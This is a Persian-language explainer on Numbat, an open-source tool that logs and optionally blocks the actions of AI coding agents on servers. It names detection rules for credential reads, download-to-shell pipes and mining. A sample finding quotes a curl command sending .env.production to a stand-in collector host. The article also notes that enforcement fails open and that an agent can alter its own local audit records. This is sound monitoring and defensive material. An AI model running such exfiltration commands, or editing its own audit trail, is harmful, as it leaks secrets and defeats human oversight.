Numbat چیست و فعالیت AI agent را چگونه ثبت میکند؟
Perplexity ابزار متنباز Numbat را برای ثبت رفتار AI coding agent روی سرور منتشر کرده است. با قابلیتها، محدودیتها و کارهایی که متوقف نمیکند آشنا شوید.
Numbat چیست
Numbat به شما امکان میدهد تا بر فعالیتهای یک AI agent روی ماشین تحت مالکیت خود نظارت داشته باشید. این ابزار callbackهای hook و فایلهای session که توسط agentهای برنامهنویسی تولید میشوند را میخواند، آنها را به یک فرمت رویداد واحد استانداردسازی میکند و با قوانینی که بر اساس رفتارهای خاص (مانند خواندن یک کلید خصوصی SSH یا انتقال مستقیم خروجی یک دانلود به shell) تعریف شدهاند، تطبیق میدهد. Perplexity این ابزار را تحت مجوز Apache 2.0 بهصورت متنباز منتشر کرد و اولین نسخه تگشده آن در تاریخ 29 July 2026 عرضه شد.
تمام مطالب زیر از مخزن پروژه و مستندات آن استخراج شده و در تاریخ 2 August 2026 مطالعه شده است. تاریخچه نسخهها، پیشنیازهای نصب، طرحواره رکوردها و پوشش agentها مجدداً در تاریخ 12 October 2026 با مخزن پروژه تطبیق داده شد. هر جا که Perplexity ادعایی مطرح کرده، در این متن به آن اشاره شده است. این یک راهنمای نصب نیست، زیرا مخزن پروژه نوپا است و دستورات آن تغییر خواهند کرد.
مشکل: هیچکس فعالیتهای عامل را ثبت نمیکند
یک عامل برنامهنویسی روی VPS شما دستورات shell را اجرا میکند، فایلها را میخواند، فایل مینویسد و اتصالات شبکه برقرار میکند؛ همهٔ اینها با کاربری انجام میشود که شما در اختیار آن قرار دادهاید. تاریخچهٔ shell شما هیچکدام از این فعالیتها را ثبت نمیکند، زیرا عامل در shell شما تایپ نمیکند. sshd ورود شما را ثبت میکند و هیچچیزی از تصمیمات بعدی مدل را ضبط نمیکند. /var/log/auth.log نیز تا زمانی که چیزی به sudo دسترسی پیدا نکند، ساکت میماند. عامل رونوشت مخصوص به خود را نگه میدارد، اما آن فایل در دایرکتوری نشست (session) عامل قرار دارد، فرمت آن در نسخههای مختلف تغییر میکند و خودِ پردازش عامل میتواند در آن بنویسد.
بنابراین وقتی کسی میپرسد که آیا عامل در سهشنبهٔ گذشته .env.production را خوانده است یا خیر، پاسخ صادقانه در اکثر سرورها این است که شما نمیتوانید متوجه شوید. این شکاف، دلیلی است که این پروژه وجود دارد.
آنچه Perplexity درباره عملکرد Numbat ادعا میکند
فایل README در ابتدا این ابزار را به عنوان «قابلیت مشاهده endpoint در فعالیتهای عامل هوش مصنوعی، همراه با تشخیص محلی، مسدودسازی اختیاری پیش از اقدام و بازسازی قانونی» توصیف میکند. منظور از endpoint در اینجا، ماشینی است که عامل روی آن اجرا میشود، نه یک تجهیز شبکه که از بیرون نظارت میکند. اینها قابلیتهای مجزایی هستند و وزن متفاوتی دارند.
تشخیص روی خود دستگاه انجام میشود. قوانین با استفاده از CEL (زبان عبارت مشترک) نوشته شده و بهصورت محلی ارزیابی میشوند؛ همچنین از قوانین توالی چندمرحلهای و پشتیبانی از قوانین اختصاصی شما در قالب YAML برخوردار است. برای فعال شدن یک قانون، هیچ دادهای نباید از ماشین خارج شود.
مسدودسازی، اختیاری و محدود است. این قابلیت تنها از طریق هوکهای همگام پیش از اقدام (pre-action hooks) و روی عاملهایی که چنین امکانی را ارائه میدهند کار میکند و تا زمانی که آن را فعال نکنید، خاموش است.
بازسازی پس از وقوع حادثه انجام میشود. numbat scan آرتیفکتهای نشست (session artifacts) را که عامل قبلاً روی دیسک نوشته است تجزیه میکند، بنابراین میتوانید فعالیتهای پیش از نصب ابزار را بررسی کنید. این پروژه در مورد این ادعا محتاط است: «بازسازی دادههای در حال سکون (at-rest)، به معنای بازیابی دیسک یا حافظه نیست و نمیتواند فعالیتهایی را که عامل ذخیره نکرده است، بازیابی کند.»
خروجی به صورت NDJSON (JSON محدود شده با خط جدید) نسخهبندیشده است که رویدادها، یافتهها، تصمیمات اجرایی، شاخصها و خلاصههای اسکن را پوشش میدهد و تا نسخه v0.1.2، از طرحواره (schema) نسخه 0.2.0 استفاده میکرد. این طرحواره از آن زمان تغییر کرده است: در تاریخ 12 اکتبر 2026، مخزن شامل نسخههای 0.2.0، 0.3.0 و 0.4.0 بود و نمونههای ثبتشده در README، نسخه 0.4.0 را نشان میدادند. رکوردها به stdout یا یک فایل محلی و بهصورت اختیاری از طریق HTTP به یک جمعکننده (collector) که شما اجرا میکنید، ارسال میشوند. این ابزار به صورت یک باینری استاتیک Go که بدون cgo برای macOS، Linux و Windows در معماریهای amd64 و arm64 ساخته شده، عرضه میشود؛ بنابراین روی یک VPS لینوکسی، تنها یک فایل است که نیاز به نصب هیچ runtime اولیهای ندارد.
Numbat دقیقاً چه agentهایی را میتواند مشاهده کند؟
ماتریس پوشش در docs/agent-coverage.md فهرست مرجع و معتبر است و توزیع یکسانی ندارد. این پروژه بهجای پنهانکاری، این موضوع را بهصراحت بیان میکند. Claude Code، Codex، Gemini CLI، Cursor و GitHub Copilot CLI هم از قابلیت اسکن artifact و هم از ضبط زنده (live capture) با استفاده از pre-action hook برخوردارند. OpenClaw از نسخه 2026.7.1 به بعد، یک پلاگین بومی دریافت میکند. بخش بزرگی از موارد در وضعیت deferred علامتگذاری شدهاند؛ این یعنی مسیر live hook وجود دارد اما parser مربوط به artifact موجود نیست. دلیل این امر اغلب آن است که آن agent تاریخچه خود را در یک فایل SQLite با استفاده از write-ahead log ذخیره میکند که خواندن آن در حین اجرای agent ایمن نیست. Cline CLI در این دسته قرار میگیرد: hookهای زنده آن کار میکنند، اما sessionهای SQLite آن تجزیه (parse) نمیشوند. OpenCode یک مورد خاص است. ماتریس نسخه v0.1.2، ذخیرهسازهای JSON قدیمیتر آن را تجزیه میکند و فقط دیتابیس فعلی opencode.db را به تعویق میاندازد؛ این ماتریس هیچگونه اعمال pre-action برای OpenCode فهرست نمیکند و ماتریس موجود در شاخه main نیز تا تاریخ 12 اکتبر 2026 همین وضعیت را نشان میداد.
پیش از هرگونه برنامهریزی پیرامون این ابزار، ردیف مربوط به agent خود را بررسی کنید، زیرا عبارت "پشتیبانیشده" (supported) تقریباً در هر سطر معنای متفاوتی دارد.
نمای یک تشخیص
قوانین دارای شناسههایی هستند که هدف آنها را مشخص میکنند. secrets.read_private_key کلید SSH، اعتبارنامههای AWS، فایل پیکربندی kube یا ورود به رجیستری بسته را پوشش میدهد. exec.download_pipe_shell زمانی فعال میشود که خروجی curl یا wget به یک مفسر پایپ (pipe) شود. privilege.elevated_shell درخواست برای یک shell روت تعاملی از طریق sudo، doas، su یا pkexec را شناسایی میکند. impact.cryptomining_launch با باینریها و نامهای ایمیج شناختهشدهٔ استخراجکنندههای رمزارز (miner) مطابقت دارد.
قوانین توالی (Sequence rules)، رویدادها را در یک نشست واحد به هم متصل میکنند. chain.secret_read_then_egress نیازمند خواندن یک فایل حاوی اسرار و به دنبال آن اجرای دستوری است که دادهها را به خارج منتقل میکند. فایل README یافتهٔ زیر را از یک بازپخش کنترلشده از دو callback پیشاقدام Claude Code منتشر میکند، نه از یک حادثهٔ واقعی. این گزارش در اینجا به فیلدهای مهم محدود شده است:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}به "confidence": "medium" که در داخل رکورد قرار دارد توجه کنید و به آنچه پروژه دربارهٔ کل این کلاس از خروجیها میگوید دقت کنید: «یافتهها، تطبیقهای قوانین هستند، نه اثبات نفوذ.» یک اسکریپت استقرار (deploy script) که یک کلید را میخواند و سپس یک artifact ساخت را آپلود میکند، با همان قانون توالی مطابقت خواهد داشت. تطبیق صحیح است اما هشدار اشتباه است؛ این وضعیت عادی برای هر ابزار تشخیصی است که تاکنون اجرا کردهاید.
مسدودسازی بهصورت پیشفرض غیرفعال است و سیستم در حالت fail-open عمل میکند
هر قانونی که Numbat ارائه میدهد، صرفاً در حالت نظارتی (monitor) است. تبدیل یک قانون به حالت مسدودسازی (block) نیازمند اقدام آگاهانه است: محتوای کامل YAML قانون را در دایرکتوری خود کپی کنید، همان id را حفظ کنید، enforce: true را اضافه کنید، نسخه را ارتقا دهید و سپس آن سیاست را اعتبارسنجی و نصب کنید.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceاکنون به بخشی میرسیم که تعیین میکند تا چه حد باید به این سیستم اعتماد کرد. پاسخ deny در Numbat به agent بازگردانده میشود و این agent است که در واقع از اجرای فراخوانی ابزار (tool call) خودداری میکند. راهنمای اعمال سیاست (enforcement guide) بهصراحت بیان میکند که در صورت بروز مشکل برای خود Numbat چه اتفاقی میافتد: «payloadهای ناقص، خطاهای ارزیابی مرتبط، panicها و شکست در خروجی، باعث سرکوب پاسخ deny در Numbat میشوند.» ورودی hook به 4 MiB محدود شده است و ورودیهای بزرگتر نیز همین مسیر را طی میکنند.
این راهنما همچنین در مورد محدودیت پاسخ deny که با موفقیت اعمال میشود، صریح است: «حالت fail-open به این معناست که Numbat پاسخ deny خود را ارسال نمیکند. این موضوع تضمین نمیکند که ابزار حتماً اجرا شود: میزبان (host) ممکن است همچنان درخواست را پردازش کند، آن را رد کند، با timeout مواجه شود یا hook یا سیاست دیگری را اعمال نماید.»
بنابراین، اعمال سیاست در اینجا یک محافظ (guardrail) است، نه یک مرز نفوذناپذیر. اگر پردازش دچار crash شود، آن اقدام توسط Numbat مسدود نمیشود؛ زیرا ابزار نظارتی که با هر خطای کوچک، agent شما را متوقف کند، در کمتر از یک هفته حذف خواهد شد. این معامله منطقی است. فقط مدل امنیتی خود را بهگونهای طراحی نکنید که فرض کند پاسخ deny همیشه دریافت میشود.
جایگاه Numbat در کنار ابزارهای فعلی شما
ابزار Numbat روی endpoint و درون درخت پردازش خودِ agent اجرا میشود و بهطور پیشفرض در ~/.numbat/records.ndjson مینویسد. agentای که با کاربر شما اجرا میشود، میتواند آن فایل را بخواند و همچنین آن را ویرایش کند. ارزش مسیر حسابرسی (audit trail) دقیقاً به اندازه ایزولاسیون پیرامون آن است؛ بنابراین تمام کنترلهایی که هماکنون دارید، باید پیش از این ابزار قرار گیرند، نه پس از آن.
اختصاص یک VM یکبارمصرف به agent کدنویسی محدودهای را که یک اجرای مخرب میتواند به آن دسترسی داشته باشد، تعیین میکند. استفاده از یک کاربر با حداقل دسترسی روی VPS باعث میشود agent نتواند به فایلهایی که به آنها نیازی ندارد، دسترسی پیدا کند. نگهداری اعتبارنامهها خارج از context agent باعث میشود تطابق secrets.read_private_key به اندازهای نادر باشد که هنگام وقوع، ارزش بررسی داشته باشد. همچنین sandboxای که برای Claude Code روی یک VPS تنظیم کردهاید، همچنان وظیفه مهار کردن را بر عهده دارد. مهار کردن، دسترسی یک اجرای مخرب را محدود میکند، در حالی که مستندسازی دلایل ساختار فعلی کد باعث میشود agent کمتر رفتارهای غیرمنتظرهای داشته باشد که شما را به بررسی لاگ وادار کند.
آنچه Numbat اضافه میکند، ثبت وقایع است؛ بنابراین این سوابق را به جایی بفرستید که agent به آن دسترسی ندارد. numbat ship و HTTP sink برای همین منظور وجود دارند. داشتن یک کپی از جریان داده روی دستگاه دوم، تفاوت بین یک فایل لاگ ساده و مدارک معتبر است. مدل رویدادها همچنین شامل فیلدهای MCP (پروتکل context مدل) است؛ بنابراین فراخوانی ابزارهایی که از طریق یک سرور MCP که روی VPS میزبانی میکنید خارج میشوند، در همان جریانی قرار میگیرند که دستورات shell محلی ثبت میشوند. این موضوع اهمیت دارد، زیرا آن مسیر برای هر چیزی که فقط bash را مانیتور میکند، نامرئی است. همین نقطه کور در مورد یک نمونه SearXNG که به عنوان backend جستجوی agent متصل شده نیز صدق میکند؛ جایی که ریسک به شکل متن غیرقابلاعتماد صفحات وب وارد context مدل میشود، نه به شکل دستوری که هر قانونی بتواند آن را شناسایی کند.
ابتدا به صورت فقطخواندنی امتحان کنید
یک نسخه مشخص (pinned) را نصب کنید. دستور زیر نسخه v0.1.2 را مشخص میکند که فایل README آن به Go 1.26.5 یا جدیدتر نیاز دارد. فایل README در شاخه main در تاریخ 12 اکتبر 2026 به Go 1.26.6 یا جدیدتر نیاز داشت؛ این تغییر با نسخه v0.2.0 اعمال شد، بنابراین اگر تگ جدیدتری را مشخص میکنید، از 1.26.6 استفاده کنید. صفحه releases شامل باینریهای از پیش ساختهشده با checksumهای SHA-256 است، اگر ترجیح میدهید از سورس کامپایل نکنید.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents عاملهای (agents) نصبشده روی سیستم را شناسایی میکند. numbat scan آرتیفکتهای نشست (session) موجود روی دیسک را تجزیه کرده و رکوردها را چاپ میکند. در فایل README ذکر شده است که این دستورات «هیچ hookای نصب نمیکنند و پیکربندی عامل را تغییر نمیدهند»، و numbat «هرگز عاملها یا دستورات یافتشده در آرتیفکتها را اجرا نمیکند و درخواستهای خروجی را فقط به HTTP sinkهای پیکربندیشده ارسال میکند». اسکن به صورت فقطخواندنی و با حذف اطلاعات حساس (redaction) انجام میشود و خروجی عادی رکوردها هرگز شامل متن کامل و خام (raw transcript) نیست.
کپچر زنده (Live capture) گام بعدی است و پیکربندی عامل را تغییر میدهد:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all رویدادها، یافتهها، شاخصها و تصمیمات اجرایی مربوطه را در ~/.numbat/records.ndjson مینویسد. دو هشدار مستقیماً از طرف پروژه مطرح شده است. ممکن است لازم باشد پیش از اجرای hookها، به آنها در داخل عامل اعتماد کنید و این اعتماد باید پس از تغییر فلگهایی مانند --enforce دوباره بررسی شود. همچنین hook status «پیکربندی را تأیید میکند، نه اجرا یا تحویل را»، بنابراین یک خط وضعیت سالم (healthy status line) به معنای رسیدن رکوردها به مقصد نیست.
چرا مخزنی به این تازگی نباید به عنوان یک وابستگی در نظر گرفته شود
تا تاریخ 12 October 2026، نسخههای عمومی منتشر شده عبارتند از v0.1.1 در 29 July 2026، v0.1.2 در 1 August 2026 و v0.2.0 در 17 August 2026 که در صفحه releases به عنوان آخرین نسخه علامتگذاری شده است. این مخزن در زمان نگارش این مطلب در تاریخ 2 August 2026 دارای 597 ستاره بود. چنین رشد سریعی در اعداد، بازتابدهنده مخاطبان Perplexity است، نه نشاندهنده پایداری کد. ستاره به این معناست که شخصی صفحه را ذخیره کرده تا بعداً آن را بررسی کند.
شماره نسخه به وضوح نشاندهنده جایگاه فعلی این ابزار است. یادداشتهای نسخه v0.1.2 عمدتاً شامل اصلاحات مربوط به حذف اطلاعات حساس (redaction)، به همراه بستهبندی case و نرمالسازی تلهمتری است. یادداشتهای نسخه v0.2.0 قابلیت ضبط محتوای پیام محدود شده، اعمال خواندن فایل در Cursor از طریق hook مربوط به beforeReadFile و اصلاحات بیشتری در زمینه حذف اطلاعات حساس را اضافه کردهاند. باگهای مربوط به حذف اطلاعات، نقصهای قابل پیشبینی در مراحل اولیه ابزاری هستند که وظیفهاش خواندن ایمن رونوشتهای سایر برنامههاست؛ و باگهای بیشتری نیز در راه خواهند بود، زیرا ورودیها از دوازده عامل مختلف میآیند که هر کدام طبق برنامه زمانی خود فرمتشان را تغییر میدهند.
دو قاعده عملی در اینجا مطرح میشود. در هر پروژهای که نگهداری میکنید، همیشه تگ را ثابت (pin) کنید و هرگز از @latest استفاده نکنید. همچنین، حداقل تا زمانی که طرحواره (schema) رکوردها ثابت نشده است، با این ابزار به عنوان یک ابزار آزمایشی برخورد کنید، نه یک کنترلکننده که به آن وابستگی دارید. این طرحواره هنوز ثابت نشده است: در عرض حدود ده هفته، از نسخه 0.2.0 در v0.1.2 به نسخه 0.4.0 در فایل README در شاخه main تغییر کرده است.
FAQ
آیا Numbat دستورات خطرناک ایجنتهای هوش مصنوعی را مسدود میکند؟
تنها در صورتی که این قابلیت را فعال کنید و آن هم صرفاً بر اساس بهترین تلاش (best effort). تمام قوانینی که Numbat ارائه میدهد، صرفاً جهت مانیتورینگ هستند. برای مسدودسازی، باید YAML مربوط به قانون را در دایرکتوری خود کپی کنید، شناسه (id) آن را حفظ کنید، enforce: true را اضافه کنید، نسخه را ارتقا دهید و hook را با --enforce نصب کنید. حتی در این حالت نیز، عمل مسدودسازی (deny) پاسخی است که به ایجنت بازگردانده میشود و این خودِ ایجنت است که درخواست را رد میکند. مستندات پروژه به رفتار fail-open اشاره دارند: payloadهای ناقص، خطاهای ارزیابی، panicها و شکست در خروجی، همگی باعث نادیده گرفته شدن دستور مسدودسازی میشوند. از این ابزار به عنوان یک لایه محافظتی (guardrail) استفاده کنید، نه به عنوان تنها مرز امنیتی خود.
Numbat از کدام ایجنتهای هوش مصنوعی پشتیبانی میکند؟
پوششدهی برای هر ایجنت متفاوت است و در docs/agent-coverage.md در مخزن پروژه فهرست شده است. در تاریخ 2 August 2026، ابزارهای Claude Code، Codex، Gemini CLI، Cursor و GitHub Copilot CLI هم دارای قابلیت اسکن آرتیفکت و هم ضبط زنده (live capture) بودند و OpenClaw از نسخه 2026.7.1 دارای یک پلاگین بومی است. بسیاری از ایجنتهای دیگر با مسیر hook زنده فهرست شدهاند اما هنوز پارسر آرتیفکت ندارند؛ دلیل این امر معمولاً این است که تاریخچه نشست (session history) آنها در یک دیتابیس SQLite قرار دارد که خواندن آن در حین اجرای ایجنت ایمن نیست. ردیف مربوط به ایجنت خود را مطالعه کنید، زیرا واژه "پشتیبانیشده" در آنجا سطوح مختلفی از عملکرد را پوشش میدهد.
آیا ایجنت میتواند در رکوردهای Numbat دستکاری کند؟
بله، اگر ایجنت با همان کاربری اجرا شود که Numbat اجرا میشود. رکوردها بهصورت پیشفرض در ~/.numbat/records.ndjson روی همان ماشینی ذخیره میشوند که ایجنت روی آن قرار دارد، بنابراین هر چیزی که دسترسی نوشتن به آن مسیر داشته باشد، میتواند آنها را تغییر دهد یا حذف کند. جریان داده (stream) را با استفاده از numbat ship یا HTTP sink به یک جمعکننده (collector) بفرستید که ایجنت به آن دسترسی ندارد و فایل محلی را فقط به عنوان یک کپی جهت سهولت نگه دارید. به همین دلیل است که این ابزار مکمل ایزولهسازی است، نه جایگزین آن. ایجنتی که در یک VM یکبارمصرف و تحت کاربری با حداقل امتیازات (least privilege) محدود شده باشد، دسترسی بسیار کمتری به مسیر حسابرسی (audit trail) خود دارد.
آیا Numbat برای سرورهای عملیاتی (production) آماده است؟
به عنوان یک کنترل امنیتی که به آن وابسته باشید، خیر. اولین نسخه عمومی v0.1.1 در 29 July 2026، نسخه v0.1.2 در 1 August 2026 و نسخه v0.2.0 در 17 August 2026 منتشر شد و تا 12 October 2026، طرحواره (schema) رکوردها در فایل README به نسخه 0.4.0 رسیده بود؛ بنابراین هم فلگها و هم طرحواره رکوردها همچنان در حال تغییر هستند. اجرای numbat agents و numbat scan روی یک سیستم، عملیاتی فقطخواندنی و کمخطر است و به شما نشان میدهد که ایجنتهایتان چه چیزی روی دیسک باقی گذاشتهاند. نصب hookهای اعمال محدودیت روی سروری که اهمیت دارد، تصمیمی متفاوت است و نیازمند استفاده از تگهای ثابت (pinned tag) و برنامهریزی برای شرایطی است که hook دچار اختلال شود.